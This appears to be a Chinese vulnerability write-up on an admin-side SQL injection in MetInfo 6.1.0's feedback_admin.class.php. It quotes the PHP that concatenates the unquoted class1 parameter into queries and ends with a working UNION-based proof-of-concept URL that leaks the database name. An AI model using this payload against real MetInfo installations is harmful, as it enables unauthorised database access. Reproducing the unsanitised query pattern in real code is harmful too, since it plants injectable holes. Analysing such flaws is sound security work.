metinfo 后台sql注入

漏洞简介

MetInfo是一套使用PHP和Mysql开发的内容管理系统。 MetInfo 6.1.0版本中的app/system/feedback/admin/feedback_admin.class.php 存在SQL注入漏洞。

漏洞影响

MetInfo 6.1.0

漏洞分析

漏洞在 app/system/feedback/admin/feedback_admin.class.php 620行。

```
public function dosyset() {
    global $_M;
    nav::select_nav(3);
    $fnam = DB::get_one("SELECT * FROM {$_M[table][column]} WHERE id='{$_M[form]
[class1]}' and lang='{$_M[form][lang]}' ");
    $query = "SELECT * FROM {$_M[table][config]} WHERE lang='{$_M[form][lang]}'
or lang='metinfo'";
    $result = DB::query($query);
    while ($list_config = DB::fetch_array($result)) {
      $settings_arr[] = $list_config;
      $_M[config][$list_config['name']] = $list_config['value'];
      if ($metinfoadminok) {
        $list_config['value'] = str_replace('"', '&#34;', str_replace("'",
'&#39;', $list_config['value']));
      }

    }

    $met_fd_back = DB::get_one("select * from {$_M[table][config]} where
name='met_fd_back' and lang='{$_M[form][lang]}' and columnid={$_M[form]
[class1]}");
    $_M[config][met_fd_back] = $met_fd_back[value];
    $met_fd_ok = DB::get_one("select * from {$_M[table][config]} where
name='met_fd_ok' and lang='{$_M[form][lang]}' and columnid={$_M[form]
[class1]}");
    $_M[config][met_fd_ok] = $met_fd_ok[value];
    $met_fd_type = DB::get_one("select * from {$_M[table][config]} where
name='met_fd_type' and lang='{$_M[form][lang]}' and columnid={$_M[form]
[class1]}");
    $_M[config][met_fd_type] = $met_fd_type[value];
    $met_fd_sms_back = DB::get_one("select * from {$_M[table][config]} where
name='met_fd_sms_back' and lang='{$_M[form][lang]}' and columnid={$_M[form]
[class1]}");
    $met_fd_showcol = DB::get_one("select * from {$_M[table][config]} where
name='met_fd_showcol' and lang='{$_M[form][lang]}' and columnid={$_M[form]
[class1]}");
```

```
    $met_fd_inquiry = DB::get_one("select * from {$_M[table][config]} where
name='met_fd_inquiry' and lang='{$_M[form][lang]}' and columnid={$_M[form]
[class1]}");
    $_M[config][met_fd_sms_back] = $met_fd_sms_back[value];
    $met_sms_back = DB::get_one("select * from {$_M[table][config]} where
name='met_sms_back' and lang='{$_M[form][lang]}' and columnid={$_M[form]
[class1]}");
    $_M[config][met_sms_back] = $met_sms_back[value];
    $met_fd_class = DB::get_one("select * from {$_M[table][config]} where
name='met_fd_class' and lang='{$_M[form][lang]}' and columnid={$_M[form]
[class1]}");
      $met_fd_class = DB::get_one("select * from {$_M[table][config]} where
name='met_fd_related' and lang='{$_M[form][lang]}' and columnid={$_M[form]
[class1]}");
      $met_fd_related = $met_fd_class['value'];
```

从代码中可以看到`columnid`从`{$_M[form][class1]}`获取，然后拼接到SQL语句，但是因为`{$_M[form][class1]}`变量没有用 单引号引起来，导致可以执行任意sql语句，导致sql注入漏洞。

漏洞证明：

用管理员权限登录网站后台访问下面的url。

```
http://localhost/admin/index.php?
lang=cn&anyid=&n=feedback&c=feedback_admin&a=dosyset&class1=-1 union select
1,2,database(),4,5,6,7
```

在`回复邮件内容`会爆出当前数据库名称。